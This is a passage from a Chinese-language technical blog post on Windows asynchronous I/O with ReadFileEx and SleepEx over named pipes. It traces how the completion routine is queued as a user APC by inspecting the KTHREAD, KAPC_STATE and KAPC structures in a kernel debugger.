<span class="n">OVERLAPPED</span><span class="w"> </span><span class="n">overlapped</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="p">};</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!::</span><span class="n">ReadFileEx</span><span class="p">(</span><span class="n">pipe</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">buffer</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span><span class="w"> </span><span class="o">&</span><span class="n">overlapped</span><span class="p">,</span><span class="w"> </span><span class="n">ReadFileCompleted</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"ReadFileEx call failed, error: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">GetLastError</span><span class="p">());</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>异步读操作,可以看到传入了一个回调函数作为参数,这个函数会被插入到APC中并在合适的时机被调用,上面代码中的overlapped参数我们直接初始化为空了,它可以用来标识哪一个IO操作完成了,因为它会被作为参数传递给回调函数</p>
<p>调用SleepEx函数可以使当前线程进入alertable状态</p>
<div class="highlight"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">sleepResult</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">SleepEx</span><span class="p">(</span><span class="n">INFINITE</span><span class="p">,</span><span class="w"> </span><span class="n">TRUE</span><span class="p">);</span>
<span class="n">assert</span><span class="p">(</span><span class="n">WAIT_IO_COMPLETION</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">sleepResult</span><span class="p">);</span>
</code></pre></div>
<p>SleepEx的第二个参数表示线程在挂起期间应进入alertable状态,否则无法处理APC</p>
<p>如果APC队列不为空,那么在调用SleepEx之后线程不会进入挂起状态,而是会立即开始处理队列中的APC</p>
<p>如果APC队列为空,那么在调用之后,线程会进入挂起状态直到APC队列不为空,此时线程会再次被调度获得CPU时间片,处理队列中的APC直到队列为空,然后SleepEx函数会返回</p>
<p>不过挂起线程对于响应式程序而言并不太好,我们可以把第一个参数设置为0来flush掉APC队列中的APC,SleepEx会立刻返回,不会导致线程被挂起,同时APC队列中如果有任何APC也会被处理并被移除队列</p>
<p>如果你想要避免使用全局变量,那么你可以自定义一个结构体,然后通过OVERLAPPED结构体的Pointer字段保存我们自定义结构体的地址,之后在回调函数中进行强转</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/ashkjdhaskjdgaiufrgaeuiyfhaer/egwrhetryjhmnrgfrefgrbfd/2.cpp">客户端代码</a></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/ashkjdhaskjdgaiufrgaeuiyfhaer/egwrhetryjhmnrgfrefgrbfd/1.cpp">服务端代码</a></p>
<h1>完整项目文件及运行效果</h1>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/ashkjdhaskjdgaiufrgaeuiyfhaer/%E5%AF%86%E7%A0%81%E6%98%AF1.7z">完整项目以及服务端程序</a></p>
<p><img alt="Animationswrqwrwqewqsdsadqwrfaf" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/crQNcoElrt.jpg"></p>
<h1>后记</h1>
<p>线程的APC队列存在于KTHREAD的<code>ApcState</code>字段中</p>
<p>在内核调试器中,运行<code>!process 0 7 consoleapplication1.exe</code>可以看到<code>consoleapplication1.exe</code>进程的所有线程</p>
<p>起始地址为<code>mainCRTStartup</code>即为主线程</p>
<p><img alt="image-20240309203601036" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QklSLqPTKm.jpg"></p>
<p>从上图中可以看到KTHREAD结构体地址为<code>0xffffa3851a48d080</code></p>
<div class="highlight"><pre><span></span><code>dt _kthread 0xffffa3851a48d080
</code></pre></div>
<p><img alt="image-20240309203954019" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/koQTrAfVLE.jpg"></p>
<p>可以得到<code>ApcState1</code>字段的地址为<code>0xffffa3851a48d118</code></p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">_KAPC_STATE</span><span class="w"> </span><span class="mh">0xffffa3851a48d118</span>
<span class="n">ntdll</span><span class="o">!</span><span class="n">_KAPC_STATE</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">ApcListHead</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">[</span><span class="mi">2</span><span class="o">]</span><span class="w"> </span><span class="n">_LIST_ENTRY</span><span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="o">]</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">Process</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">e890080</span><span class="w"> </span><span class="n">_KPROCESS</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">InProgressFlags</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">KernelApcInProgress</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">SpecialApcInProgress</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x029</span><span class="w"> </span><span class="n">KernelApcPending</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x02a</span><span class="w"> </span><span class="n">UserApcPendingAll</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x02a</span><span class="w"> </span><span class="n">SpecialUserApcPending</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x02a</span><span class="w"> </span><span class="n">UserApcPending</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y0</span>
</code></pre></div>
<p>APC队列就是<code>ApcListHead</code>标识的双向链表,用于链接<code>KPAC</code>结构体,可以看到此时队列为空,头尾指针指向同一个地方,另外就是<code>ApcListHead</code>字段是一个数组,里面包含了两个<code>ListEntry</code>,<strong>为什么是两个链表我不太清楚,但是我猜测一个是用于用户APC,另一个是用于内核APC(根据后面的windbg调用栈,我的猜测应该是对的,[0]->kernel,[1]->user)</strong></p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dq</span><span class="w"> </span><span class="o">/</span><span class="n">c</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="mh">0xffffa3851a48d118</span><span class="w"> </span><span class="n">L4</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d120</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span>
<span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d130</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span>
</code></pre></div>
<p>可以看到这两个链表都是空链表,我们可以在两个链表的Flink字段下内存写入断点,因为要插入节点,头节点的Flink一定会发生变化</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">ba</span><span class="w"> </span><span class="n">w8</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d118</span>
<span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">ba</span><span class="w"> </span><span class="n">w8</span><span class="w"> </span><span class="n">ffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span>
</code></pre></div>
<p>放行程序后其中一个断点会被触发,此时调用栈如下:</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">k</span>
<span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Child</span><span class="o">-</span><span class="n">SP</span><span class="w"> </span><span class="n">RetAddr</span><span class="w"> </span><span class="n">Call</span><span class="w"> </span><span class="n">Site</span>
<span class="mi">00</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">be333680</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">1463</span><span class="n">d3a3</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KeInsertQueueApc</span><span class="o">+</span><span class="mh">0x11e</span>
<span class="mi">01</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">be333720</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">a45317</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopCompleteRequest</span><span class="o">+</span><span class="mh">0x373</span>
<span class="mi">02</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">be3337f0</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">149</span><span class="n">cf0a8</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopSynchronousServiceTail</span><span class="o">+</span><span class="mh">0x3b7</span>
<span class="mi">03</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">be333890</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">a0bc08</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopReadFile</span><span class="o">+</span><span class="mh">0x7cc</span>
<span class="mi">04</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">be333980</span><span class="w"> </span><span class="n">fffff804</span><span class="err">`</span><span class="mi">14811235</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">NtReadFile</span><span class="o">+</span><span class="mh">0x8a8</span>
<span class="mi">05</span><span class="w"> </span><span class="n">fffffa84</span><span class="err">`</span><span class="n">be333a90</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">5264</span><span class="n">d0a4</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">KiSystemServiceCopyEnd</span><span class="o">+</span><span class="mh">0x25</span>
<span class="mi">06</span><span class="w"> </span><span class="mi">00000018</span><span class="err">`</span><span class="mi">3</span><span class="n">f79f678</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffd</span><span class="err">`</span><span class="mi">4</span><span class="n">fea9018</span><span class="w"> </span><span class="n">ntdll</span><span class="o">!</span><span class="n">NtReadFile</span><span class="o">+</span><span class="mh">0x14</span>
<span class="mi">07</span><span class="w"> </span><span class="mi">00000018</span><span class="err">`</span><span class="mi">3</span><span class="n">f79f680</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff7</span><span class="err">`</span><span class="mi">45</span><span class="n">da2df9</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">ReadFileEx</span><span class="o">+</span><span class="mh">0xa8</span>
<span class="mi">08</span><span class="w"> </span><span class="mi">00000018</span><span class="err">`</span><span class="mi">3</span><span class="n">f79f700</span><span class="w"> </span><span class="mi">0000013</span><span class="n">c</span><span class="err">`</span><span class="n">b68d6580</span><span class="w"> </span><span class="n">ConsoleApplication1</span><span class="o">!</span><span class="n">main</span><span class="o">+</span><span class="mh">0x129</span><span class="w"> </span><span class="o">[</span><span class="n">C</span><span class="o">:\</span><span class="n">Users</span><span class="o">\</span><span class="n">x</span><span class="o">\</span><span class="n">RPC_Study</span><span class="o">\</span><span class="n">ConsoleApplication1</span><span class="o">\</span><span class="n">ConsoleApplication1</span><span class="o">\</span><span class="n">ConsoleApplication1</span><span class="o">.</span><span class="na">cpp</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="mi">51</span><span class="o">]</span><span class="w"> </span>
<span class="mi">09</span><span class="w"> </span><span class="mi">00000018</span><span class="err">`</span><span class="mi">3</span><span class="n">f79f708</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="mh">0x0000013c</span><span class="err">`</span><span class="n">b68d6580</span>
</code></pre></div>
<p>可以看到第二个断点被触发,Flink被写入新的地址,节点插入,那么新插入的KAPC节点的<code>ApcListEntry</code>地址就是<code>0xffffa3851e589848</code></p>
<p><code>``
2: kd> !list ffffa385</code>1a48d128
ffffa385<code>1a48d128 ffffa385</code>1e589848 ffffa385<code>1a48d128
ffffa385</code>1a48d138 ffffa385<code>1e890080 00000003</code>08000000
ffffa385<code>1a48d148 00000000</code>00000000 ffffa385<code>1a48d1c0
ffffa385</code>1a48d158 fffff804<code>0f701a90 fffff804</code>0f701a90
ffffa385<code>1a48d168 00000000</code>00000000 00000009<code>23d52000
ffffa385</code>1a48d178 00000000<code>00000000 00000000</code>005e0008
ffffa385<code>1a48d188 ffffa385</code>1a48d250 ffffa385<code>1a48d250
ffffa385</code>1a48d198 00000002<code>e57b2a43 fffff804</code>0f6ff888</p>
<p>ffffa385<code>1e589848 ffffa385</code>1a48d128 ffffa385<code>1a48d128
ffffa385</code>1e589858 fffff804<code>14b207c0 fffff804</code>14b207c0
ffffa385<code>1e589868 00007ffd</code>4feaf7b0 00007ff7<code>45da2e50
ffffa385</code>1e589878 00000125<code>96030770 00000000</code>00000000
ffffa385<code>1e589888 00000000</code>00010100 00000000<code>00000000
ffffa385</code>1e589898 00000000<code>00000000 00000000</code>00000000
ffffa385<code>1e5898a8 00000000</code>00000000 00000000<code>00000000
ffffa385</code>1e5898b8 00000000<code>00000000 00000000</code>00000000
```</p>
<p>根据LIST_ENTRY定位结构体的方法</p>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">_kapc</span>
<span class="n">ntdll</span><span class="o">!</span><span class="n">_KAPC</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">AllFlags</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">CallbackDataContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Pos</span><span class="w"> </span><span class="mi">0</span><span class="o">,</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">Bit</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">Unused</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Pos</span><span class="w"> </span><span class="mi">1</span><span class="o">,</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="n">Bits</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x002</span><span class="w"> </span><span class="n">Size</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x003</span><span class="w"> </span><span class="n">SpareByte1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x004</span><span class="w"> </span><span class="n">SpareLong0</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x008</span><span class="w"> </span><span class="n">Thread</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">_KTHREAD</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x010</span><span class="w"> </span><span class="n">ApcListEntry</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_LIST_ENTRY</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">KernelRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">RundownRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x030</span><span class="w"> </span><span class="n">NormalRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">Reserved</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">[</span><span class="mi">3</span><span class="o">]</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x038</span><span class="w"> </span><span class="n">NormalContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x040</span><span class="w"> </span><span class="n">SystemArgument1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x048</span><span class="w"> </span><span class="n">SystemArgument2</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x050</span><span class="w"> </span><span class="n">ApcStateIndex</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Char</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x051</span><span class="w"> </span><span class="n">ApcMode</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Char</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x052</span><span class="w"> </span><span class="n">Inserted</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
</code></pre></div>
<p>我们可以计算出,KAPC结构体的地址为<code>0xffffa3851e589848-0x10</code></p>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">_kapc</span><span class="w"> </span><span class="mh">0xffffa3851e589848</span><span class="o">-</span><span class="mh">0x10</span>
<span class="n">ntdll</span><span class="o">!</span><span class="n">_KAPC</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x12</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">AllFlags</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">CallbackDataContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">Unused</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="n">y0000000</span><span class="w"> </span><span class="o">(</span><span class="mi">0</span><span class="o">)</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x002</span><span class="w"> </span><span class="n">Size</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x58</span><span class="w"> </span><span class="s1">'X'</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x003</span><span class="w"> </span><span class="n">SpareByte1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x004</span><span class="w"> </span><span class="n">SpareLong0</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x008</span><span class="w"> </span><span class="n">Thread</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d080</span><span class="w"> </span><span class="n">_KTHREAD</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x010</span><span class="w"> </span><span class="n">ApcListEntry</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_LIST_ENTRY</span><span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mh">0xffffa385</span><span class="err">`</span><span class="mi">1</span><span class="n">a48d128</span><span class="w"> </span><span class="o">]</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">KernelRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xfffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">b207c0</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopUserCompletion</span><span class="o">+</span><span class="mi">0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">RundownRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xfffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">b207c0</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">IopUserCompletion</span><span class="o">+</span><span class="mi">0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x030</span><span class="w"> </span><span class="n">NormalRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00007ffd</span><span class="err">`</span><span class="mi">4</span><span class="n">feaf7b0</span><span class="w"> </span><span class="kc">void</span><span class="w"> </span><span class="n">KERNELBASE</span><span class="o">!</span><span class="n">BasepIoCompletionSimple</span><span class="o">+</span><span class="mi">0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">Reserved</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">[</span><span class="mi">3</span><span class="o">]</span><span class="w"> </span><span class="mh">0xfffff804</span><span class="err">`</span><span class="mi">14</span><span class="n">b207c0</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x038</span><span class="w"> </span><span class="n">NormalContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00007ff7</span><span class="err">`</span><span class="mi">45</span><span class="n">da2e50</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x040</span><span class="w"> </span><span class="n">SystemArgument1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">96030770</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x048</span><span class="w"> </span><span class="n">SystemArgument2</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">(</span><span class="kc">null</span><span class="o">)</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x050</span><span class="w"> </span><span class="n">ApcStateIndex</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x051</span><span class="w"> </span><span class="n">ApcMode</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="s1">''</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x052</span><span class="w"> </span><span class="n">Inserted</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x1</span><span class="w"> </span><span class="s1">''</span>
</code></pre></div>
<p>这里面的<code>NormalContext</code>字段就是我们的回调函数的地址</p>
<p><img alt="image-20240310162956920" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/uKQAwCEzwd.jpg"></p>
<p>而<code>SystemArgument1</code>就是OVERLAPPED</p>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">_overlapped</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">96030770</span>
<span class="n">ConsoleApplication1</span><span class="o">!</span><span class="n">_OVERLAPPED</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Internal</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">00000000</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x008</span><span class="w"> </span><span class="n">InternalHigh</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mi">4</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x010</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x96037ce0</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x014</span><span class="w"> </span><span class="n">OffsetHigh</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x125</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x010</span><span class="w"> </span><span class="n">Pointer</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">96037</span><span class="n">ce0</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x018</span><span class="w"> </span><span class="n">hEvent</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x0000d7cb</span><span class="err">`</span><span class="mi">0</span><span class="n">d00000d</span><span class="w"> </span><span class="n">Void</span>
</code></pre></div>
<p>我们使用了OVERLAPPED结构体的Pointer字段指向了我们自定义的结构体</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_selfDefinedStruct</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">status</span><span class="p">;</span><span class="c1">// = ERROR_SUCCESS;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">buffer</span><span class="p">;</span><span class="c1">// = ERROR_SUCCESS;v</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">pipe</span><span class="p">;</span><span class="c1">//;</span>
<span class="p">}</span><span class="w"> </span><span class="n">MyStruct</span><span class="p">;</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="mh">0x00000125</span><span class="err">`</span><span class="mi">96037</span><span class="n">ce0</span>
<span class="mi">00000125</span><span class="err">`</span><span class="mi">96037</span><span class="n">ce0</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="mi">61636</span><span class="n">f77</span><span class="w"> </span><span class="mi">0000009</span><span class="n">c</span><span class="w"> </span><span class="mi">00000000</span><span class="w"> </span><span class="o">....</span><span class="n">woca</span><span class="o">........</span>
</code></pre></div>
<p>0是状态码,<code>woca</code>是服务端pipe中的buffer的字符形式,<code>0x9c</code>是客户端的pipe句柄</p>
<p>放行之后第二个断点再次被触发,此时调用栈为:</p>
<div class="highlight"><pre><span></span><code><span class="mi">2</span><span class="o">:</span><span class="w"> </span><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">k</span>
